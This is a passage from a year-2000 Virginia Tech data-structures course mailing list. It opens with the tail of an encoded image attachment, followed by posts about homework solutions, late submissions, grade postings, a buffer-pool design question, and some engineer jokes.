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 ------=_NextPart_000_0027_01BF9FBB.19001600-- ========================================================================= Date: Thu, 6 Apr 2000 13:59:12 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Homework 2 sample solutions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have now posted sample solutions for HW assignment 2 to the class website. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Tue, 6 Apr 0100 17:59:28 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: OH NO! In-Reply-To: <000b01bf9f7a$0dfb4220$803a52c6@campus.vt.edu> from "John Anthony Kazos Jr." at Apr 5, 0 11:41:55 pm Content-Type: text > You turn it in late. Actually, the "http://spasm.cs.vt.edu:8080/curator/SpasmCurator" didn't let me submit late stuff a while ago... Any one know anything about that? ... > > ----- Original Message ----- > From: "Tanner Bonig" > To: > Sent: Wednesday, April 05, 2000 11:30 PM > Subject: OH NO! > > > > I didn't get the homework in on time, what do I do , what do I do!?!?!? > > > > Tanner > -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Thu, 6 Apr 2000 19:49:34 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Shalaka Tendulkar Subject: Section 1369 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, The Homework 2 and Quiz 2 grades have been put up on the web, and the grading sheets for H2 have been sent out. If you have any problems, contact me. Thanks, Shalaka ========================================================================= Date: Thu, 6 Apr 2000 20:24:32 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Scott Walker Subject: Confusing Buffer Stuff MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok, I'm trying to work with my buffer pool to adapt it to project 4 and am running into some confusion... Like what happens in this case for instance: suppose your bufferpool (blocksize 20) currently has least recently used buffer containing the message that belongs at position 10 in the file, and that message is 10 bytes long. If the bufferpool receives an insert on position 21, what happens? Does the bufferpool write the data out in the LRU buffer and then place the new message in that buffer? Does the bufferpool detect that since the blocks (and therefor buffers are 20 bytes long) that it should begin the insert at the end of the buffer data of the buffer described above and just append the new message to the last 10 free bytes there? Or something entirely different perhaps? ========================================================================= Date: Thu, 6 Apr 2000 20:55:24 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Sidney Bennett Subject: No late submissions MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I don't believe you can submit late. I didn't get HW1 in on time and never got to submit it. Ofcourse, I never asked, but I don't think homework assignments are accepted late. ========================================================================= Date: Thu, 6 Apr 2000 21:19:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: r duffy Subject: engineers MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit something to cheer up those of us who just got back some grades some of these apply more to programmers than engineers, so ignore those On the subject of engineers Q: When does a person decide to become an engineer? A: When he realizes he doesn't have the charisma to be an undertaker. Q: What do engineers use for birth control? A: Their personalities. Q: How can you tell an extroverted engineer? A: When he talks, he looks at your shoes instead of his own. Q: Why did the engineers cross the road? A: Because they looked in the file and that's what they did last year. Q: How do you 